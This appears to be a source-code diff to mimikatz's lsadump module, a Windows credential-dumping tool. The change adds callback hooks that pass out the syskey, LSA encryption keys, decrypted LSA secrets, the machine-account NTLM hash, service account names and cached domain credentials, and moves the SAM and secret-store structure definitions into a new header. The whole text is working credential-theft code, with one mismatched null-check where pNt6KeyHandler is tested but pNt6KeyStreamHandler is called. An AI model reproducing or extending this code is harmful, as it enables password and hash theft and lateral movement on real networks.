LocalFree(computerName);
}
@ -237,6 +270,8 @@ BOOL kuhl_m_lsadump_getComputerAndSyskey(IN PKULL_M_REGISTRY_HANDLE hRegistry, I
{
kull_m_string_wprintf_hex(sysKey, SYSKEY_LENGTH, 0);
kprintf(L"\n");
if (callbackCtx && callbackCtx->pSysKeyHandler)
callbackCtx->pSysKeyHandler(callbackCtx->lpContext, sysKey, SYSKEY_LENGTH);
} else PRINT_ERROR(L"kuhl_m_lsadump_getSyskey KO\n");
kull_m_registry_RegCloseKey(hRegistry, hComputerNameOrLSA);
@ -383,7 +418,8 @@ BOOL kuhl_m_lsadump_getSamKey(PKULL_M_REGISTRY_HANDLE hRegistry, HKEY hAccount,
return status;
}
BOOL kuhl_m_lsadump_getLsaKeyAndSecrets(IN PKULL_M_REGISTRY_HANDLE hSecurity, IN HKEY hSecurityBase, IN PKULL_M_REGISTRY_HANDLE hSystem, IN HKEY hSystemBase, IN LPBYTE sysKey, IN BOOL secretsOrCache)
// I'll remove the secretsOrCache flag later
BOOL kuhl_m_lsadump_getLsaKeyAndSecrets(IN PKULL_M_REGISTRY_HANDLE hSecurity, IN HKEY hSecurityBase, IN PKULL_M_REGISTRY_HANDLE hSystem, IN HKEY hSystemBase, IN LPBYTE sysKey, IN BOOL secretsOrCache, IN PLSA_CALLBACK_CTX callbackCtx)
{
BOOL status = FALSE;
HKEY hPolicy, hPolRev, hEncKey;
@ -404,6 +440,8 @@ BOOL kuhl_m_lsadump_getLsaKeyAndSecrets(IN PKULL_M_REGISTRY_HANDLE hSecurity, IN
if(kull_m_registry_RegQueryValueEx(hSecurity, hPolRev, NULL, 0, NULL, (LPBYTE) &polRevision, &szNeeded))
{
kprintf(L"\nPolicy subsystem is : %hu.%hu\n", polRevision.Major, polRevision.Minor);
if (callbackCtx && callbackCtx->pPolicyVersionHandler)
callbackCtx->pPolicyVersionHandler(callbackCtx->lpContext, polRevision.Major, polRevision.Minor);
if(kull_m_registry_RegOpenKeyEx(hSecurity, hPolicy, (polRevision.Minor > 9) ? L"PolEKList" : L"PolSecretEncryptionKey", 0, KEY_READ, &hEncKey))
{
@ -421,10 +459,15 @@ BOOL kuhl_m_lsadump_getLsaKeyAndSecrets(IN PKULL_M_REGISTRY_HANDLE hSecurity, IN
{
RtlCopyMemory(nt6keysStream, ((PNT6_HARD_SECRET) buffer)->clearSecret.Secret, ((PNT6_HARD_SECRET) buffer)->clearSecret.SecretSize);
kprintf(L"LSA Key(s) : %u, default ", nt6keysStream->nbKeys); kull_m_string_displayGUID(&nt6keysStream->CurrentKeyID); kprintf(L"\n");
if (callbackCtx && callbackCtx->pNt6KeyHandler)
callbackCtx->pNt6KeyStreamHandler(callbackCtx->lpContext, nt6keysStream);
for(i = 0, offset = 0; i < nt6keysStream->nbKeys; i++, offset += FIELD_OFFSET(NT6_SYSTEM_KEY, Key) + nt6key->KeySize)
{
nt6key = (PNT6_SYSTEM_KEY) ((PBYTE) nt6keysStream->Keys + offset);
kprintf(L" [%02u] ", i); kull_m_string_displayGUID(&nt6key->KeyId); kprintf(L" "); kull_m_string_wprintf_hex(nt6key->Key, nt6key->KeySize, 0); kprintf(L"\n");
if (callbackCtx && callbackCtx->pNt6KeyHandler)
callbackCtx->pNt6KeyHandler(callbackCtx->lpContext, i, nt6key);
}
}
}
@ -445,9 +488,17 @@ BOOL kuhl_m_lsadump_getLsaKeyAndSecrets(IN PKULL_M_REGISTRY_HANDLE hSecurity, IN
kprintf(L"LSA Key : ");
kull_m_string_wprintf_hex(nt5key->key, sizeof(NT5_SYSTEM_KEY), 0);
kprintf(L"\n");
if (callbackCtx && callbackCtx->pNt5KeyHandler)
callbackCtx->pNt5KeyHandler(callbackCtx->lpContext, i, nt5key);
}
}
}
if (nt6keysStream || nt5key)
{
kuhl_m_lsadump_getSecrets(hSecurity, hPolicy, hSystem, hSystemBase, nt6keysStream, nt5key, callbackCtx);
kuhl_m_lsadump_getNLKMSecretAndCache(hSecurity, hPolicy, hSecurityBase, nt6keysStream, nt5key, callbackCtx);
}
}
LocalFree(buffer);
}
@ -457,14 +508,6 @@ BOOL kuhl_m_lsadump_getLsaKeyAndSecrets(IN PKULL_M_REGISTRY_HANDLE hSecurity, IN
kull_m_registry_RegCloseKey(hSecurity, hPolRev);
}
if(nt6keysStream || nt5key)
{
if(secretsOrCache)
kuhl_m_lsadump_getSecrets(hSecurity, hPolicy, hSystem, hSystemBase, nt6keysStream, nt5key);
else
kuhl_m_lsadump_getNLKMSecretAndCache(hSecurity, hPolicy, hSecurityBase, nt6keysStream, nt5key);
}
kull_m_registry_RegCloseKey(hSecurity, hPolicy);
}
@ -476,12 +519,11 @@ BOOL kuhl_m_lsadump_getLsaKeyAndSecrets(IN PKULL_M_REGISTRY_HANDLE hSecurity, IN
return status;
}
BOOL kuhl_m_lsadump_getSecrets(IN PKULL_M_REGISTRY_HANDLE hSecurity, IN HKEY hPolicyBase, IN PKULL_M_REGISTRY_HANDLE hSystem, IN HKEY hSystemBase, PNT6_SYSTEM_KEYS lsaKeysStream, PNT5_SYSTEM_KEY lsaKeyUnique)
BOOL kuhl_m_lsadump_getSecrets(IN PKULL_M_REGISTRY_HANDLE hSecurity, IN HKEY hPolicyBase, IN PKULL_M_REGISTRY_HANDLE hSystem, IN HKEY hSystemBase, PNT6_SYSTEM_KEYS lsaKeysStream, PNT5_SYSTEM_KEY lsaKeyUnique, PLSA_CALLBACK_CTX callbackCtx)
{
BOOL status = FALSE;
HKEY hSecrets, hSecret, hValue, hCurrentControlSet, hServiceBase;
DWORD i, nbSubKeys, szMaxSubKeyLen, szSecretName, szSecret;
PVOID pSecret;
DWORD i, nbSubKeys, szMaxSubKeyLen, szSecretName;
MD4_CTX ctx;
wchar_t * secretName;
@ -501,42 +543,56 @@ BOOL kuhl_m_lsadump_getSecrets(IN PKULL_M_REGISTRY_HANDLE hSecurity, IN HKEY hPo
szSecretName = szMaxSubKeyLen;
if(kull_m_registry_RegEnumKeyEx(hSecurity, hSecrets, i, secretName, &szSecretName, NULL, NULL, NULL, NULL))
{
wchar_t* pServiceInfo = NULL;
DWORD dwCurrentSize = 0, dwOldSize = 0;
PVOID pCurrent = NULL, pOld = NULL;
PBYTE pDigest = NULL;
kprintf(L"\nSecret : %s", secretName);
if(_wcsnicmp(secretName, L"_SC_", 4) == 0)
kuhl_m_lsadump_getInfosFromServiceName(hSystem, hServiceBase, secretName + 4);
kuhl_m_lsadump_getInfosFromServiceName(hSystem, hServiceBase, secretName + 4, &pServiceInfo);
if(kull_m_registry_RegOpenKeyEx(hSecurity, hSecrets, secretName, 0, KEY_READ, &hSecret))
{
if(kull_m_registry_RegOpenKeyEx(hSecurity, hSecret, L"CurrVal", 0, KEY_READ, &hValue))
{
if(kuhl_m_lsadump_decryptSecret(hSecurity, hValue, lsaKeysStream, lsaKeyUnique, &pSecret, &szSecret))
if(kuhl_m_lsadump_decryptSecret(hSecurity, hValue, lsaKeysStream, lsaKeyUnique, &pCurrent, &dwCurrentSize))
{
if(_wcsicmp(secretName, L"$MACHINE.ACC") == 0)
{
kprintf(L"\n**NTLM**: ");
MD4Init(&ctx);
MD4Update(&ctx, (LPCBYTE) pSecret, szSecret);
MD4Update(&ctx, (LPCBYTE) pCurrent, dwCurrentSize);
MD4Final(&ctx);
kull_m_string_wprintf_hex(ctx.digest, MD4_DIGEST_LENGTH, 0);
pDigest = ctx.digest;
}
kuhl_m_lsadump_candidateSecret(szSecret, pSecret, L"\ncur/");
LocalFree(pSecret);
kuhl_m_lsadump_candidateSecret(dwCurrentSize, pCurrent, L"\ncur/");
}
kull_m_registry_RegCloseKey(hSecurity, hValue);
}
if(kull_m_registry_RegOpenKeyEx(hSecurity, hSecret, L"OldVal", 0, KEY_READ, &hValue))
{
if(kuhl_m_lsadump_decryptSecret(hSecurity, hValue, lsaKeysStream, lsaKeyUnique, &pSecret, &szSecret))
if(kuhl_m_lsadump_decryptSecret(hSecurity, hValue, lsaKeysStream, lsaKeyUnique, &pOld, &dwOldSize))
{
kuhl_m_lsadump_candidateSecret(szSecret, pSecret, L"\nold/");
LocalFree(pSecret);
kuhl_m_lsadump_candidateSecret(dwOldSize, pOld, L"\nold/");
}
kull_m_registry_RegCloseKey(hSecurity, hValue);
}
kull_m_registry_RegCloseKey(hSecurity, hSecret);
}
kprintf(L"\n");
if (callbackCtx && callbackCtx->pSecretHandler)
callbackCtx->pSecretHandler(callbackCtx->lpContext, secretName, pServiceInfo, pDigest, pCurrent, dwCurrentSize, pOld, dwOldSize);
if (pServiceInfo)
LocalFree(pServiceInfo);
if (pCurrent)
LocalFree(pCurrent);
if (pOld)
LocalFree(pOld);
}
}
LocalFree(secretName);
@ -551,7 +607,7 @@ BOOL kuhl_m_lsadump_getSecrets(IN PKULL_M_REGISTRY_HANDLE hSecurity, IN HKEY hPo
return status;
}
BOOL kuhl_m_lsadump_getNLKMSecretAndCache(IN PKULL_M_REGISTRY_HANDLE hSecurity, IN HKEY hPolicyBase, IN HKEY hSecurityBase, PNT6_SYSTEM_KEYS lsaKeysStream, PNT5_SYSTEM_KEY lsaKeyUnique)
BOOL kuhl_m_lsadump_getNLKMSecretAndCache(IN PKULL_M_REGISTRY_HANDLE hSecurity, IN HKEY hPolicyBase, IN HKEY hSecurityBase, PNT6_SYSTEM_KEYS lsaKeysStream, PNT5_SYSTEM_KEY lsaKeyUnique, PLSA_CALLBACK_CTX callbackCtx)
{
BOOL status = FALSE;
HKEY hValue, hCache;
@ -664,7 +720,7 @@ void kuhl_m_lsadump_printMsCache(PMSCACHE_ENTRY entry, CHAR version)
kprintf(L"MsCacheV%c : ", version); kull_m_string_wprintf_hex(((PMSCACHE_DATA) entry->enc_data)->mshashdata, LM_NTLM_HASH_LENGTH, 0); kprintf(L"\n");
}
void kuhl_m_lsadump_getInfosFromServiceName(IN PKULL_M_REGISTRY_HANDLE hSystem, IN HKEY hSystemBase, IN PCWSTR serviceName)
void kuhl_m_lsadump_getInfosFromServiceName(IN PKULL_M_REGISTRY_HANDLE hSystem, IN HKEY hSystemBase, IN PCWSTR serviceName, OUT wchar_t** pObjectName)
{
HKEY hService;
DWORD szNeeded;
@ -677,7 +733,11 @@ void kuhl_m_lsadump_getInfosFromServiceName(IN PKULL_M_REGISTRY_HANDLE hSystem,
{
if(kull_m_registry_RegQueryValueEx(hSystem, hService, L"ObjectName", 0, NULL, (LPBYTE) objectName, &szNeeded))
kprintf(L" / service \'%s\' with username : %s", serviceName, objectName);
LocalFree(objectName);
if (pObjectName)
*pObjectName = objectName;
else
LocalFree(objectName);
}
}
kull_m_registry_RegCloseKey(hSystem, hService);

View File

@ -12,16 +12,7 @@
#include "../modules/kull_m_registry.h"
#include "../modules/kull_m_crypto_system.h"
#include "../modules/kull_m_string.h"
#define SYSKEY_LENGTH 16
#define SAM_KEY_DATA_SALT_LENGTH 16
#define SAM_KEY_DATA_KEY_LENGTH 16
typedef struct _SAM_ENTRY {
DWORD offset;
DWORD lenght;
DWORD unk;
} SAM_ENTRY, *PSAM_SENTRY;
#include "kuhl_m_lsadump_struct.h"
const KUHL_M kuhl_m_lsadump;
@ -31,7 +22,7 @@ NTSTATUS kuhl_m_lsadump_secrets(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_lsadump_cache(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_lsadump_secretsOrCache(int argc, wchar_t * argv[], BOOL secretsOrCache);
BOOL kuhl_m_lsadump_getComputerAndSyskey(IN PKULL_M_REGISTRY_HANDLE hRegistry, IN HKEY hSystemBase, OUT LPBYTE sysKey);
BOOL kuhl_m_lsadump_getComputerAndSyskey(IN PKULL_M_REGISTRY_HANDLE hRegistry, IN HKEY hSystemBase, OUT LPBYTE sysKey, PLSA_CALLBACK_CTX callbackCtx);
BOOL kuhl_m_lsadump_getUsersAndSamKey(IN PKULL_M_REGISTRY_HANDLE hRegistry, IN HKEY hSAMBase, IN LPBYTE sysKey);
BOOL kuhl_m_lsadump_getCurrentControlSet(PKULL_M_REGISTRY_HANDLE hRegistry, HKEY hSystemBase, PHKEY phCurrentControlSet);
@ -39,121 +30,6 @@ BOOL kuhl_m_lsadump_getSyskey(PKULL_M_REGISTRY_HANDLE hRegistry, HKEY hLSA, LPBY
BOOL kuhl_m_lsadump_getSamKey(PKULL_M_REGISTRY_HANDLE hRegistry, HKEY hAccount, LPCBYTE sysKey, LPBYTE samKey);
BOOL kuhl_m_lsadump_getHash(PSAM_SENTRY pSamHash, LPCBYTE pStartOfData, LPCBYTE samKey, DWORD rid, BOOL isNtlm);
typedef enum _DOMAIN_SERVER_ROLE
{
DomainServerRoleBackup = 2,
DomainServerRolePrimary = 3
} DOMAIN_SERVER_ROLE, *PDOMAIN_SERVER_ROLE;
typedef enum _DOMAIN_SERVER_ENABLE_STATE
{
DomainServerEnabled = 1,
DomainServerDisabled
} DOMAIN_SERVER_ENABLE_STATE, *PDOMAIN_SERVER_ENABLE_STATE;
typedef struct _OLD_LARGE_INTEGER {
ULONG LowPart;
LONG HighPart;
} OLD_LARGE_INTEGER, *POLD_LARGE_INTEGER;
typedef struct _SAM_KEY_DATA {
DWORD Revision;
DWORD Length;
BYTE Salt[SAM_KEY_DATA_SALT_LENGTH];
BYTE Key[SAM_KEY_DATA_KEY_LENGTH];
BYTE CheckSum[MD5_DIGEST_LENGTH];
DWORD unk0;
DWORD unk1;
} SAM_KEY_DATA, *PSAM_KEY_DATA;
typedef struct _DOMAIN_ACCOUNT_F {
DWORD Revision;
DWORD unk1;
OLD_LARGE_INTEGER CreationTime;
OLD_LARGE_INTEGER DomainModifiedCount;
OLD_LARGE_INTEGER MaxPasswordAge;
OLD_LARGE_INTEGER MinPasswordAge;
OLD_LARGE_INTEGER ForceLogoff;
OLD_LARGE_INTEGER LockoutDuration;
OLD_LARGE_INTEGER LockoutObservationWindow;
OLD_LARGE_INTEGER ModifiedCountAtLastPromotion;
DWORD NextRid;
DWORD PasswordProperties;
WORD MinPasswordLength;
WORD PasswordHistoryLength;
WORD LockoutThreshold;
DOMAIN_SERVER_ENABLE_STATE ServerState;
DOMAIN_SERVER_ROLE ServerRole;
BOOL UasCompatibilityRequired;
DWORD unk2;
SAM_KEY_DATA keys1;
SAM_KEY_DATA keys2;
DWORD unk3;
DWORD unk4;
} DOMAIN_ACCOUNT_F, *PDOMAIN_ACCOUNT_F;
typedef struct _USER_ACCOUNT_V {
SAM_ENTRY unk0_header;
SAM_ENTRY Username;
SAM_ENTRY Fullname;
SAM_ENTRY Comment;
SAM_ENTRY UserComment;
SAM_ENTRY unk1;
SAM_ENTRY Homedir;
SAM_ENTRY HomedirConnect;
SAM_ENTRY ScriptPath;
SAM_ENTRY ProfilePath;
SAM_ENTRY Workstations;
SAM_ENTRY HoursAllowed;
SAM_ENTRY unk2;
SAM_ENTRY LMHash;
SAM_ENTRY NTLMHash;
SAM_ENTRY unk3;
SAM_ENTRY unk4;
BYTE datas[ANYSIZE_ARRAY];
} USER_ACCOUNT_V, *PUSER_ACCOUNT_V;
typedef struct _SAM_HASH {
DWORD flag;
BYTE hash[LM_NTLM_HASH_LENGTH];
} SAM_HASH, *PSAM_HASH;
typedef PVOID SAMPR_HANDLE;
typedef PWCHAR PSAMPR_SERVER_NAME;
typedef PSID PRPC_SID;
typedef enum _USER_INFORMATION_CLASS
{
UserInternal1Information = 18,
UserAllInformation = 21,
} USER_INFORMATION_CLASS, *PUSER_INFORMATION_CLASS;
typedef struct _SAMPR_SR_SECURITY_DESCRIPTOR {
DWORD Length;
PUCHAR SecurityDescriptor;
} SAMPR_SR_SECURITY_DESCRIPTOR, *PSAMPR_SR_SECURITY_DESCRIPTOR;
typedef struct _SAMPR_USER_INTERNAL1_INFORMATION {
BYTE NTHash[LM_NTLM_HASH_LENGTH];
BYTE LMHash[LM_NTLM_HASH_LENGTH];
BYTE NtPasswordPresent;
BYTE LmPasswordPresent;
BYTE PasswordExpired;
BYTE PrivateDataSensitive;
} SAMPR_USER_INTERNAL1_INFORMATION, *PSAMPR_USER_INTERNAL1_INFORMATION;
typedef union _SAMPR_USER_INFO_BUFFER {
SAMPR_USER_INTERNAL1_INFORMATION Internal1;
} SAMPR_USER_INFO_BUFFER, *PSAMPR_USER_INFO_BUFFER;
typedef struct _SAMPR_RID_ENUMERATION {
DWORD RelativeId;
LSA_UNICODE_STRING Name;
} SAMPR_RID_ENUMERATION, *PSAMPR_RID_ENUMERATION;
#define SAM_SERVER_CONNECT 0x00000001
#define DOMAIN_ALL_ACCESS 0x000F07FF
extern NTSTATUS WINAPI SamConnect(IN PSAMPR_SERVER_NAME ServerName, OUT SAMPR_HANDLE *ServerHandle, IN ACCESS_MASK DesiredAccess, IN BOOLEAN Trusted);
extern NTSTATUS WINAPI SamOpenDomain(IN SAMPR_HANDLE SamHandle, IN ACCESS_MASK DesiredAccess, IN PRPC_SID DomainId, OUT SAMPR_HANDLE* DomainHandle);
extern NTSTATUS WINAPI SamOpenUser(IN SAMPR_HANDLE DomainHandle, IN ACCESS_MASK DesiredAccess, IN DWORD UserId, OUT SAMPR_HANDLE* UserHandle);
@ -162,128 +38,13 @@ extern NTSTATUS WINAPI SamEnumerateUsersInDomain(IN SAMPR_HANDLE DomainHandle, I
extern NTSTATUS WINAPI SamCloseHandle(IN SAMPR_HANDLE SamHandle);
extern NTSTATUS WINAPI SamFreeMemory(IN PVOID Buffer);
#define AES_256_KEY_SIZE (256/8)
#define AES_128_KEY_SIZE (128/8)
#define AES_BLOCK_SIZE 16
typedef struct _AES_256_KEY_BLOB {
BLOBHEADER Header;
DWORD keySize;
BYTE key[AES_256_KEY_SIZE];
} AES_256_KEY_BLOB, *PAES_256_KEY_BLOB;
NTSTATUS kuhl_m_lsadump_full(PLSA_CALLBACK_CTX callbackCtx);
typedef struct _AES_128_KEY_BLOB {
BLOBHEADER Header;
DWORD keySize;
BYTE key[AES_128_KEY_SIZE];
} AES_128_KEY_BLOB, *PAES_128_KEY_BLOB;
typedef struct _POL_REVISION {
USHORT Minor;
USHORT Major;
} POL_REVISION, *PPOL_REVISION;
typedef struct _NT6_CLEAR_SECRET {
DWORD SecretSize;
DWORD unk0;
DWORD unk1;
DWORD unk2;
BYTE Secret[ANYSIZE_ARRAY];
} NT6_CLEAR_SECRET, *PNT6_CLEAR_SECRET;
#define LAZY_NT6_IV_SIZE 32
typedef struct _NT6_HARD_SECRET {
DWORD version;
GUID KeyId;
DWORD algorithm;
DWORD flag;
BYTE lazyiv[LAZY_NT6_IV_SIZE];
union {
NT6_CLEAR_SECRET clearSecret;
BYTE encryptedSecret[ANYSIZE_ARRAY];
};
} NT6_HARD_SECRET, *PNT6_HARD_SECRET;
typedef struct _NT6_SYSTEM_KEY {
GUID KeyId;
DWORD KeyType;
DWORD KeySize;
BYTE Key[ANYSIZE_ARRAY];
} NT6_SYSTEM_KEY, *PNT6_SYSTEM_KEY;
typedef struct _NT6_SYSTEM_KEYS {
DWORD unkType0;
GUID CurrentKeyID;
DWORD unkType1;
DWORD nbKeys;
NT6_SYSTEM_KEY Keys[ANYSIZE_ARRAY];
} NT6_SYSTEM_KEYS, *PNT6_SYSTEM_KEYS;
typedef struct _NT5_HARD_SECRET {
DWORD encryptedStructSize;
DWORD unk0;
DWORD unk1;
BYTE encryptedSecret[ANYSIZE_ARRAY];
} NT5_HARD_SECRET, *PNT5_HARD_SECRET;
typedef struct _NT5_SYSTEM_KEY {
BYTE key[16];
} NT5_SYSTEM_KEY, *PNT5_SYSTEM_KEY;
#define LAZY_NT5_IV_SIZE 16
typedef struct _NT5_SYSTEM_KEYS {
DWORD unk0;
DWORD unk1;
DWORD unk2;
NT5_SYSTEM_KEY keys[3];
BYTE lazyiv[LAZY_NT5_IV_SIZE];
} NT5_SYSTEM_KEYS, *PNT5_SYSTEM_KEYS;
typedef struct _MSCACHE_ENTRY {
WORD szUserName;
WORD szDomainName;
WORD szEffectiveName;
WORD szfullName;
WORD szlogonScript;
WORD szprofilePath;
WORD szhomeDirectory;
WORD szhomeDirectoryDrive;
DWORD userId;
DWORD primaryGroupId;
DWORD groupCount;
WORD szlogonDomainName;
WORD unk0;
FILETIME lastWrite;
DWORD revision;
DWORD sidCount;
DWORD flags;
DWORD unk1;
DWORD logonPackage;
WORD szDnsDomainName;
WORD szupn;
BYTE iv[32];
BYTE enc_data[ANYSIZE_ARRAY];
} MSCACHE_ENTRY, *PMSCACHE_ENTRY;
typedef struct _MSCACHE_DATA {
BYTE mshashdata[LM_NTLM_HASH_LENGTH];
BYTE unkhash[LM_NTLM_HASH_LENGTH];
DWORD unk0;
DWORD unk1;
DWORD unkLength;
DWORD unk2;
DWORD unk3;
DWORD unk4;
DWORD unk5;
DWORD unk6;
DWORD unk7;
DWORD unk8;
} MSCACHE_DATA, *PMSCACHE_DATA;
BOOL kuhl_m_lsadump_getLsaKeyAndSecrets(IN PKULL_M_REGISTRY_HANDLE hSecurity, IN HKEY hSecurityBase, IN PKULL_M_REGISTRY_HANDLE hSystem, IN HKEY hSystemBase, IN LPBYTE sysKey, IN BOOL secretsOrCache);
BOOL kuhl_m_lsadump_getSecrets(IN PKULL_M_REGISTRY_HANDLE hSecurity, IN HKEY hPolicyBase, IN PKULL_M_REGISTRY_HANDLE hSystem, IN HKEY hSystemBase, PNT6_SYSTEM_KEYS lsaKeysStream, PNT5_SYSTEM_KEY lsaKeyUnique);
BOOL kuhl_m_lsadump_getNLKMSecretAndCache(IN PKULL_M_REGISTRY_HANDLE hSecurity, IN HKEY hPolicyBase, IN HKEY hSecurityBase, PNT6_SYSTEM_KEYS lsaKeysStream, PNT5_SYSTEM_KEY lsaKeyUnique);
BOOL kuhl_m_lsadump_getLsaKeyAndSecrets(IN PKULL_M_REGISTRY_HANDLE hSecurity, IN HKEY hSecurityBase, IN PKULL_M_REGISTRY_HANDLE hSystem, IN HKEY hSystemBase, IN LPBYTE sysKey, IN BOOL secretsOrCache, IN PLSA_CALLBACK_CTX callbackCtx);
BOOL kuhl_m_lsadump_getSecrets(IN PKULL_M_REGISTRY_HANDLE hSecurity, IN HKEY hPolicyBase, IN PKULL_M_REGISTRY_HANDLE hSystem, IN HKEY hSystemBase, PNT6_SYSTEM_KEYS lsaKeysStream, PNT5_SYSTEM_KEY lsaKeyUnique, PLSA_CALLBACK_CTX callbackCtx);
BOOL kuhl_m_lsadump_getNLKMSecretAndCache(IN PKULL_M_REGISTRY_HANDLE hSecurity, IN HKEY hPolicyBase, IN HKEY hSecurityBase, PNT6_SYSTEM_KEYS lsaKeysStream, PNT5_SYSTEM_KEY lsaKeyUnique, PLSA_CALLBACK_CTX callbackCtx);
void kuhl_m_lsadump_printMsCache(PMSCACHE_ENTRY entry, CHAR version);
void kuhl_m_lsadump_getInfosFromServiceName(IN PKULL_M_REGISTRY_HANDLE hSystem, IN HKEY hSystemBase, IN PCWSTR serviceName);
void kuhl_m_lsadump_getInfosFromServiceName(IN PKULL_M_REGISTRY_HANDLE hSystem, IN HKEY hSystemBase, IN PCWSTR serviceName, OUT wchar_t** pObjectName);
BOOL kuhl_m_lsadump_decryptSecret(IN PKULL_M_REGISTRY_HANDLE hSecurity, IN HKEY hSecret, IN PNT6_SYSTEM_KEYS lsaKeysStream, IN PNT5_SYSTEM_KEY lsaKeyUnique, IN PVOID * pBufferOut, IN PDWORD pSzBufferOut);
void kuhl_m_lsadump_candidateSecret(DWORD szBytesSecrets, PVOID bufferSecret, PCWSTR prefix);
BOOL kuhl_m_lsadump_sec_aes256(PNT6_HARD_SECRET hardSecretBlob, DWORD hardSecretBlobSize, PNT6_SYSTEM_KEYS lsaKeysStream, PBYTE sysKey);

View File

@ -0,0 +1,255 @@
#pragma once
#define SYSKEY_LENGTH 16
#define SAM_KEY_DATA_SALT_LENGTH 16
#define SAM_KEY_DATA_KEY_LENGTH 16
typedef struct _SAM_ENTRY {
DWORD offset;
DWORD lenght;
DWORD unk;
} SAM_ENTRY, *PSAM_SENTRY;
typedef enum _DOMAIN_SERVER_ROLE
{
DomainServerRoleBackup = 2,
DomainServerRolePrimary = 3
} DOMAIN_SERVER_ROLE, *PDOMAIN_SERVER_ROLE;
typedef enum _DOMAIN_SERVER_ENABLE_STATE
{
DomainServerEnabled = 1,
DomainServerDisabled
} DOMAIN_SERVER_ENABLE_STATE, *PDOMAIN_SERVER_ENABLE_STATE;
typedef struct _OLD_LARGE_INTEGER {
ULONG LowPart;
LONG HighPart;
} OLD_LARGE_INTEGER, *POLD_LARGE_INTEGER;
typedef struct _SAM_KEY_DATA {
DWORD Revision;
DWORD Length;
BYTE Salt[SAM_KEY_DATA_SALT_LENGTH];
BYTE Key[SAM_KEY_DATA_KEY_LENGTH];
BYTE CheckSum[MD5_DIGEST_LENGTH];
DWORD unk0;
DWORD unk1;
} SAM_KEY_DATA, *PSAM_KEY_DATA;
typedef struct _DOMAIN_ACCOUNT_F {
DWORD Revision;
DWORD unk1;
OLD_LARGE_INTEGER CreationTime;
OLD_LARGE_INTEGER DomainModifiedCount;
OLD_LARGE_INTEGER MaxPasswordAge;
OLD_LARGE_INTEGER MinPasswordAge;
OLD_LARGE_INTEGER ForceLogoff;
OLD_LARGE_INTEGER LockoutDuration;
OLD_LARGE_INTEGER LockoutObservationWindow;
OLD_LARGE_INTEGER ModifiedCountAtLastPromotion;
DWORD NextRid;
DWORD PasswordProperties;
WORD MinPasswordLength;
WORD PasswordHistoryLength;
WORD LockoutThreshold;
DOMAIN_SERVER_ENABLE_STATE ServerState;
DOMAIN_SERVER_ROLE ServerRole;
BOOL UasCompatibilityRequired;
DWORD unk2;
SAM_KEY_DATA keys1;
SAM_KEY_DATA keys2;
DWORD unk3;
DWORD unk4;
} DOMAIN_ACCOUNT_F, *PDOMAIN_ACCOUNT_F;
typedef struct _USER_ACCOUNT_V {
SAM_ENTRY unk0_header;
SAM_ENTRY Username;
SAM_ENTRY Fullname;
SAM_ENTRY Comment;
SAM_ENTRY UserComment;
SAM_ENTRY unk1;
SAM_ENTRY Homedir;
SAM_ENTRY HomedirConnect;
SAM_ENTRY ScriptPath;
SAM_ENTRY ProfilePath;
SAM_ENTRY Workstations;
SAM_ENTRY HoursAllowed;
SAM_ENTRY unk2;
SAM_ENTRY LMHash;
SAM_ENTRY NTLMHash;
SAM_ENTRY unk3;
SAM_ENTRY unk4;
BYTE datas[ANYSIZE_ARRAY];
} USER_ACCOUNT_V, *PUSER_ACCOUNT_V;
typedef struct _SAM_HASH {
DWORD flag;
BYTE hash[LM_NTLM_HASH_LENGTH];
} SAM_HASH, *PSAM_HASH;
typedef PVOID SAMPR_HANDLE;
typedef PWCHAR PSAMPR_SERVER_NAME;
typedef PSID PRPC_SID;
typedef enum _USER_INFORMATION_CLASS
{
UserInternal1Information = 18,
UserAllInformation = 21,
} USER_INFORMATION_CLASS, *PUSER_INFORMATION_CLASS;
typedef struct _SAMPR_SR_SECURITY_DESCRIPTOR {
DWORD Length;
PUCHAR SecurityDescriptor;
} SAMPR_SR_SECURITY_DESCRIPTOR, *PSAMPR_SR_SECURITY_DESCRIPTOR;
typedef struct _SAMPR_USER_INTERNAL1_INFORMATION {
BYTE NTHash[LM_NTLM_HASH_LENGTH];
BYTE LMHash[LM_NTLM_HASH_LENGTH];
BYTE NtPasswordPresent;
BYTE LmPasswordPresent;
BYTE PasswordExpired;
BYTE PrivateDataSensitive;
} SAMPR_USER_INTERNAL1_INFORMATION, *PSAMPR_USER_INTERNAL1_INFORMATION;
typedef union _SAMPR_USER_INFO_BUFFER {
SAMPR_USER_INTERNAL1_INFORMATION Internal1;
} SAMPR_USER_INFO_BUFFER, *PSAMPR_USER_INFO_BUFFER;
typedef struct _SAMPR_RID_ENUMERATION {
DWORD RelativeId;
LSA_UNICODE_STRING Name;
} SAMPR_RID_ENUMERATION, *PSAMPR_RID_ENUMERATION;
#define SAM_SERVER_CONNECT 0x00000001
#define DOMAIN_ALL_ACCESS 0x000F07FF
#define AES_256_KEY_SIZE (256/8)
#define AES_128_KEY_SIZE (128/8)
#define AES_BLOCK_SIZE 16
typedef struct _AES_256_KEY_BLOB {
BLOBHEADER Header;
DWORD keySize;
BYTE key[AES_256_KEY_SIZE];
} AES_256_KEY_BLOB, *PAES_256_KEY_BLOB;
typedef struct _AES_128_KEY_BLOB {
BLOBHEADER Header;
DWORD keySize;
BYTE key[AES_128_KEY_SIZE];
} AES_128_KEY_BLOB, *PAES_128_KEY_BLOB;
typedef struct _POL_REVISION {
USHORT Minor;
USHORT Major;
} POL_REVISION, *PPOL_REVISION;
typedef struct _NT6_CLEAR_SECRET {
DWORD SecretSize;
DWORD unk0;
DWORD unk1;
DWORD unk2;
BYTE Secret[ANYSIZE_ARRAY];
} NT6_CLEAR_SECRET, *PNT6_CLEAR_SECRET;
#define LAZY_NT6_IV_SIZE 32
typedef struct _NT6_HARD_SECRET {
DWORD version;
GUID KeyId;
DWORD algorithm;
DWORD flag;
BYTE lazyiv[LAZY_NT6_IV_SIZE];
union {
NT6_CLEAR_SECRET clearSecret;
BYTE encryptedSecret[ANYSIZE_ARRAY];
};
} NT6_HARD_SECRET, *PNT6_HARD_SECRET;
typedef struct _NT6_SYSTEM_KEY {
GUID KeyId;
DWORD KeyType;
DWORD KeySize;
BYTE Key[ANYSIZE_ARRAY];
} NT6_SYSTEM_KEY, *PNT6_SYSTEM_KEY;
typedef struct _NT6_SYSTEM_KEYS {
DWORD unkType0;
GUID CurrentKeyID;
DWORD unkType1;
DWORD nbKeys;
NT6_SYSTEM_KEY Keys[ANYSIZE_ARRAY];
} NT6_SYSTEM_KEYS, *PNT6_SYSTEM_KEYS;
typedef struct _NT5_HARD_SECRET {
DWORD encryptedStructSize;
DWORD unk0;
DWORD unk1;
